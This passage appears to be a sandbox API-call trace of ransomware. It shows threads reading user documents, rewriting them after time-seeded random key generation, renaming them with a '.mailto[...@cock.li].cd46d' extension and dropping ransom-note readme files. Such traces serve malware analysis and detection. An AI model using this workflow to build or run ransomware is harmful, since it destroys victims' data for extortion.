RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x39) returned 0x44c1f8 [0054.448] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.448] WriteFile (in: hFile=0x5ec, lpBuffer=0x44e420*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x914fc5c, lpOverlapped=0x0 | out: lpBuffer=0x44e420*, lpNumberOfBytesWritten=0x914fc5c*=0x11d, lpOverlapped=0x0) returned 1 [0054.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e420) returned 1 [0054.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44baa8) returned 1 [0054.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d05b0) returned 1 [0054.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0054.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d06a0) returned 1 [0054.506] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460670) returned 1 [0054.506] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4605a8) returned 1 [0054.506] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460508) returned 1 [0054.506] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00610 [0054.506] wcscpy (in: _Dest=0x5e00610, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ss O0l38HTkV-orIpi.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ss O0l38HTkV-orIpi.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ss O0l38HTkV-orIpi.mkv" [0054.506] wcscat (in: _Dest=0x5e00610, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ss O0l38HTkV-orIpi.mkv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ss O0l38HTkV-orIpi.mkv.mailto[2Hamlampampom@cock.li].cd46d" [0054.506] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ss O0l38HTkV-orIpi.mkv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x914fc14, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ss O0l38HTkV-orIpi.mkv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.506] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x4d40e0 [0054.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d40e0) returned 1 [0054.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1f968) returned 1 [0054.635] NtQueryInformationFile (in: FileHandle=0x5ec, IoStatusBlock=0x914fc20, FileInformation=0x914fbf8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x914fc20, FileInformation=0x914fbf8) returned 0x0 [0054.636] NtSetInformationFile (FileHandle=0x5ec, IoStatusBlock=0x914fc20, FileInformation=0x914fbf8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.658] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00610) returned 1 [0054.659] FlushFileBuffers (hFile=0x5ec) returned 1 [0054.659] CloseHandle (hObject=0x5ec) returned 1 [0054.660] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418fc8 [0054.660] wcscpy (in: _Dest=0x418fc8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.660] wcscat (in: _Dest=0x418fc8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.660] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.660] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418fc8) returned 1 [0054.660] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446dd0) returned 1 Thread: id = 301 os_tid = 0xb2c [0047.458] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tV1mQT.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tv1mqt.odp")) returned 0x20 [0047.458] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tV1mQT.odp", dwFileAttributes=0x20) returned 1 [0047.459] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tV1mQT.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tv1mqt.odp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x680 [0047.459] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x8dffaa0 | out: lpFileSize=0x8dffaa0*=53549) returned 1 [0047.459] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0xd129, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.459] ReadFile (in: hFile=0x680, lpBuffer=0x8dffa24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8dffa20, lpOverlapped=0x0 | out: lpBuffer=0x8dffa24*, lpNumberOfBytesRead=0x8dffa20*=0x4, lpOverlapped=0x0) returned 1 [0047.460] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.460] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417a8 [0047.460] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417d0 [0047.460] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417f8 [0047.460] NtQuerySystemTime (in: CurrentTime=0x8dffa00 | out: CurrentTime=0x8dffa00*=132174898114476000) returned 0x0 [0047.460] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x19ac0602 [0047.460] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x66c31a35 [0047.460] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x1778ce58 [0047.460] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x64001ea5 [0047.460] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x7b528a19 [0047.460] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x89ac7f0 [0047.460] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x6de8097c [0047.460] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0xb840dfb [0047.460] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x5bbdd355 [0047.460] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x19c69403 [0047.460] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0xe6c08c [0047.460] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x1026cdcd [0047.460] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x2c4c3e6e [0047.460] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x4d3df664 [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x3d6b594 [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x7b4f1164 [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x15b68a2 [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x349e2d27 [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x622755f1 [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x1430b22 [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x5696a601 [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x715560ea [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x63e50fd1 [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x670a103a [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x2ba0db6e [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x11ae0754 [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x2e9dd083 [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x464827fb [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x7c6506f [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0xcc6ecaa [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x30b7041c [0047.461] RtlRandomEx (in: Seed=0x8dffa0c | out: Seed=0x8dffa0c) returned 0x71f71ac7 [0047.473] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.474] ReadFile (in: hFile=0x680, lpBuffer=0x5e00048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x8dff9e0, lpOverlapped=0x0 | out: lpBuffer=0x5e00048*, lpNumberOfBytesRead=0x8dff9e0*=0xc800, lpOverlapped=0x0) returned 1 [0047.474] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402be8 [0047.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x419400 [0047.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417a8 [0047.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417a8) returned 1 [0047.475] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x4aafd8 [0047.476] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417a8 [0047.476] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417f8 [0047.476] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417f8) returned 1 [0047.476] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419400) returned 1 [0047.476] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402be8) returned 1 [0047.476] WriteFile (in: hFile=0x680, lpBuffer=0x4aafd8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x8dff9e0, lpOverlapped=0x0 | out: lpBuffer=0x4aafd8*, lpNumberOfBytesWritten=0x8dff9e0*=0xc800, lpOverlapped=0x0) returned 1 [0047.965] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4aafd8) returned 1 [0047.965] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00048) returned 1 [0047.965] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x4ef018 [0047.965] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.965] WriteFile (in: hFile=0x680, lpBuffer=0x44c7b0*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x8dffa60, lpOverlapped=0x0 | out: lpBuffer=0x44c7b0*, lpNumberOfBytesWritten=0x8dffa60*=0x105, lpOverlapped=0x0) returned 1 [0048.090] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c7b0) returned 1 [0048.090] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef048) returned 1 [0048.090] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edac0) returned 1 [0048.090] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef018) returned 1 [0048.090] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417a8) returned 1 [0048.090] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417d0) returned 1 [0048.090] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441820) returned 1 [0048.091] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441848) returned 1 [0048.091] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x4428e0 [0048.091] wcscpy (in: _Dest=0x4428e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tV1mQT.odp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tV1mQT.odp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tV1mQT.odp" [0048.091] wcscat (in: _Dest=0x4428e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tV1mQT.odp.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tV1mQT.odp.mailto[2Hamlampampom@cock.li].cd46d" [0048.091] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tV1mQT.odp.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x8dffa18, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tV1mQT.odp.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.091] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x449d80 [0048.091] NtSetInformationFile (FileHandle=0x680, IoStatusBlock=0x8dffa10, FileInformation=0x449d80, Length=0xc0, FileInformationClass=0xa) returned 0x0 [0048.134] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449d80) returned 1 [0048.134] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x433680) returned 1 [0048.134] NtQueryInformationFile (in: FileHandle=0x680, IoStatusBlock=0x8dffa24, FileInformation=0x8dff9fc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x8dffa24, FileInformation=0x8dff9fc) returned 0x0 [0048.135] NtSetInformationFile (FileHandle=0x680, IoStatusBlock=0x8dffa24, FileInformation=0x8dff9fc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.140] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4428e0) returned 1 [0048.140] FlushFileBuffers (hFile=0x680) returned 1 [0048.141] CloseHandle (hObject=0x680) returned 1 [0048.143] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45da0 [0048.143] wcscpy (in: _Dest=0x5e45da0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0048.143] wcscat (in: _Dest=0x5e45da0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0048.143] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0xffffffff [0048.143] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x680 [0048.144] WriteFile (in: hFile=0x680, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x8dffa20, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x8dffa20*=0x6fd, lpOverlapped=0x0) returned 1 [0048.159] CloseHandle (hObject=0x680) returned 1 [0048.159] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45da0) returned 1 [0048.159] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4211f8) returned 1 Thread: id = 302 os_tid = 0xb30 [0047.479] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1KOlRUC-eUfMQ.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1kolruc-eufmq.pptx")) returned 0x20 [0047.479] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1KOlRUC-eUfMQ.pptx", dwFileAttributes=0x20) returned 1 [0047.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1KOlRUC-eUfMQ.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1kolruc-eufmq.pptx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x684 [0047.480] GetFileSizeEx (in: hFile=0x684, lpFileSize=0x496f7ec | out: lpFileSize=0x496f7ec*=33609) returned 1 [0047.480] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x8345, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.480] ReadFile (in: hFile=0x684, lpBuffer=0x496f770, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x496f76c, lpOverlapped=0x0 | out: lpBuffer=0x496f770*, lpNumberOfBytesRead=0x496f76c*=0x4, lpOverlapped=0x0) returned 1 [0047.481] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.481] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417f8 [0047.481] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46878 [0047.481] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e468a0 [0047.481] NtQuerySystemTime (in: CurrentTime=0x496f74c | out: CurrentTime=0x496f74c*=132174898114632000) returned 0x0 [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x1c3f7c78 [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x31e7939c [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x54562321 [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x468ec34a [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x651df0e2 [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0xe7f9298 [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x5c0880e7 [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x696853a5 [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x193bf4c4 [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x6fe1cc4b [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x4d9c6293 [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x4fc48b22 [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x247516e [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x4dd847fd [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x237a47f8 [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x3d047a95 [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x7deca17e [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0xeed3014 [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x36aa1180 [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x2643eb8d [0047.481] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x65eed65c [0047.482] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x40543e39 [0047.482] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x5a8f5ea4 [0047.482] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x7ac32940 [0047.482] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x45af54fc [0047.482] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x5d458757 [0047.482] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x1100c747 [0047.482] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x69e3cd7d [0047.482] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x62119422 [0047.482] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x74906dc3 [0047.482] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x2710c43d [0047.482] RtlRandomEx (in: Seed=0x496f758 | out: Seed=0x496f758) returned 0x4b5b81e2 [0047.494] ReadFile (in: hFile=0x684, lpBuffer=0x4b77e0, nNumberOfBytesToRead=0x8349, lpNumberOfBytesRead=0x496f748, lpOverlapped=0x0 | out: lpBuffer=0x4b77e0*, lpNumberOfBytesRead=0x496f748*=0x8349, lpOverlapped=0x0) returned 1 [0047.495] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.495] WriteFile (in: hFile=0x684, lpBuffer=0x4c3fe8*, nNumberOfBytesToWrite=0x8349, lpNumberOfBytesWritten=0x496f744, lpOverlapped=0x0 | out: lpBuffer=0x4c3fe8*, lpNumberOfBytesWritten=0x496f744*=0x8349, lpOverlapped=0x0) returned 1 [0047.967] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edcc8 [0047.967] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edd40 [0047.967] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edd40) returned 1 [0047.967] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4c3fe8) returned 1 [0047.967] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b77e0) returned 1 [0047.967] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419400) returned 1 [0047.967] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402be8) returned 1 [0047.967] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x31) returned 0x409aa8 [0047.967] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.967] WriteFile (in: hFile=0x684, lpBuffer=0x44d538*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x496f7ac, lpOverlapped=0x0 | out: lpBuffer=0x44d538*, lpNumberOfBytesWritten=0x496f7ac*=0x115, lpOverlapped=0x0) returned 1 [0048.098] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d538) returned 1 [0048.098] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a2a8) returned 1 [0048.098] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edd40) returned 1 [0048.098] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409aa8) returned 1 [0048.098] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edcc8) returned 1 [0048.098] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46878) returned 1 [0048.098] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e468c8) returned 1 [0048.098] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e468f0) returned 1 [0048.098] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x5e47ee0 [0048.098] wcscpy (in: _Dest=0x5e47ee0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1KOlRUC-eUfMQ.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1KOlRUC-eUfMQ.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1KOlRUC-eUfMQ.pptx" [0048.098] wcscat (in: _Dest=0x5e47ee0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1KOlRUC-eUfMQ.pptx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1KOlRUC-eUfMQ.pptx.mailto[2Hamlampampom@cock.li].cd46d" [0048.098] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1KOlRUC-eUfMQ.pptx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x496f764, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1KOlRUC-eUfMQ.pptx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.098] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x441d18 [0048.098] NtSetInformationFile (FileHandle=0x684, IoStatusBlock=0x496f75c, FileInformation=0x441d18, Length=0xd4, FileInformationClass=0xa) returned 0x0 [0048.167] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441d18) returned 1 [0048.167] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435288) returned 1 [0048.167] NtQueryInformationFile (in: FileHandle=0x684, IoStatusBlock=0x496f770, FileInformation=0x496f748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x496f770, FileInformation=0x496f748) returned 0x0 [0048.167] NtSetInformationFile (FileHandle=0x684, IoStatusBlock=0x496f770, FileInformation=0x496f748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.168] RtlFreeHeap 